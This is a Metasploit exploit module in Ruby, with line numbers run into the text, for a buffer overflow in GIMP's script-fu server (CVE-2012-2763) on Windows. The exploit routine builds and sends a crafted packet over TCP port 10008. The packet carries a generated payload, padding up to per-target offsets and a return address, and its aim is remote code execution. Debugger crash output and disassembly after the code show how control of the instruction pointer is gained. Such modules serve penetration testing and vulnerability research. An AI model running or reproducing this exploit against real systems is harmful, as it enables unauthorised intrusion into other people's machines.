Path: blob/master/modules/exploits/windows/misc/gimp_script_fu.rb
19511 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'GIMP script-fu Server Buffer Overflow',15'Description' => %q{16This module exploits a buffer overflow in the script-fu server17component on GIMP <= 2.6.12. By sending a specially crafted packet, an18attacker may be able to achieve remote code execution under the context19of the user.2021This module has been tested on GIMP for Windows from installers22provided by Jernej Simoncic.23},24'Author' => [25'Joseph Sheridan', # Vulnerability Discovery and PoC26'juan vazquez' # Metasploit module27],28'References' => [29[ 'CVE', '2012-2763' ],30[ 'OSVDB', '82429' ],31[ 'BID', '53741' ],32[ 'EDB', '18956' ],33[ 'URL', 'http://www.reactionpenetrationtesting.co.uk/advisories/scriptfu-buffer-overflow-GIMP-2.6.html' ]34],35'DefaultOptions' => {36'EXITFUNC' => 'process',37},38'Payload' => {39'Space' => 1024,40'BadChars' => "\x00\x09\x0a\x0d\x20\x28\x29\x3b" + (0x80..0xff).to_a.pack("C*"),41'DisableNops' => true,42},43'Platform' => 'win',44'Targets' => [45[46'GIMP 2.6.10 (no DEP) / Windows XP SP3 / Windows 7 SP1',47{48'Offset' => 1102,49'Ret' => 0x00425a52,50'BufferRegister' => 'EDX'51}52],53[54'GIMP 2.6.1 (no DEP) / Windows XP SP3 / Windows 7 SP1',55{56'Offset' => 1086,57'Ret' => 0x00425a22,58'BufferRegister' => 'EAX'59}60]61],62'Privileged' => true,63'DefaultTarget' => 0,64'DisclosureDate' => '2012-05-18',65'Notes' => {66'Reliability' => UNKNOWN_RELIABILITY,67'Stability' => UNKNOWN_STABILITY,68'SideEffects' => UNKNOWN_SIDE_EFFECTS69}70)71)7273register_options([Opt::RPORT(10008)])74end7576def exploit77connect7879payload.encoder.datastore.import_options_from_hash({ 'BufferRegister' => target['BufferRegister'] })80my_payload = payload.generate81sploit = my_payload82sploit << rand_text(target['Offset'] - my_payload.length)83sploit << [target.ret].pack("V")8485pkt = "\x47" # Magic86pkt << [sploit.length / 256].pack("C") # length_of_script_fu (high byte)87pkt << [sploit.length % 256].pack("C") # length_of_script_fu (low byte)88pkt << sploit8990print_status("Trying target #{target.name}...")91sock.put(pkt)9293handler94disconnect95end96end9798=begin99100* Crash example:1011020:003> g103(b2c.b28): Access violation - code c0000005 (first chance)104First chance exceptions are reported before any exception handling.105This exception may be expected and handled.106*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\GIMP-2.0\lib\gimp\2.0\plug-ins\script-fu.exe107eax=00000000 ebx=0041e523 ecx=61616161 edx=61616161 esi=003ed200 edi=00000001108eip=61616161 esp=0022f87c ebp=0022f898 iopl=0 nv up ei pl nz na po nc109cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=0001020211061616161 ?? ???1110:000> kb112ChildEBP RetAddr Args to Child113WARNING: Frame IP not in any known module. Following frames may be wrong.1140022f878 0040c86f 00000000 0041e523 00000007 0x616161611150022f898 0040c944 00000000 0041e523 00000007 script_fu+0xc86f1160022f8c8 004102fe 00420240 0041e523 0022f918 script_fu+0xc9441170022f918 0040e6ca 00420240 00000086 77c303ad script_fu+0x102fe1180022fb78 0040ea8e 00ff2c38 00f32df0 0022fba8 script_fu+0xe6ca1190022fba8 004087cf 00420240 00ff2c38 00989680 script_fu+0xea8e1200022fbc8 00407f8a 00ff2c38 00f32df0 00000000 script_fu+0x87cf1210022fe18 00408601 00f7a040 00000000 00000001 script_fu+0x7f8a122*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\GIMP-2.0\bin\libgimp-2.0-0.dll -1230022fe78 6f4c304b 003ec238 00000001 003ec3c8 script_fu+0x86011240022ff28 00401a81 0041b510 00000006 003e4878 libgimp_2_0_0!gimp_main+0x73b1250022ff58 004010db 00000006 003e4878 003e29e8 script_fu+0x1a811260022ffa0 00401158 00000002 8061750d 7c90dc9c script_fu+0x10db127*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -1280022ffc0 7c817067 00017228 1474f685 7ffda000 script_fu+0x11581290022fff0 00000000 00401140 00000000 78746341 kernel32!RegisterWaitForInputIdle+0x49130131* Control is reached here:132133.text:0040C851 loc_40C851: ; CODE XREF: sub_40C830+19j134.text:0040C851 test edx, edx135.text:0040C853 jz short loc_40C84B136.text:0040C855 mov ecx, ds:dword_420E24137.text:0040C85B mov [esp+18h+var_14], ebx138.text:0040C85F mov [esp+18h+var_C], ecx139.text:0040C863 mov [esp+18h+var_10], eax140.text:0040C867 mov eax, [ebp+arg_0]141.text:0040C86A mov [esp+18h+var_18], eax142.text:0040C86D call edx ; dword_420E20 : Overwriting dword_420E20 allows to get EIP143144The overflow allows to overwrite function pointers stored in the .bss (unitialized145global variables)1461470:003> g148Breakpoint 0 hit149eax=00000000 ebx=0041e523 ecx=bfbfbf00 edx=42424242 esi=003ed200 edi=00000001150eip=0040c86d esp=0022f880 ebp=0022f898 iopl=0 nv up ei pl nz na pe nc151cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206152script_fu+0xc86d:1530040c86d ffd2 call edx {42424242}154155=end156157158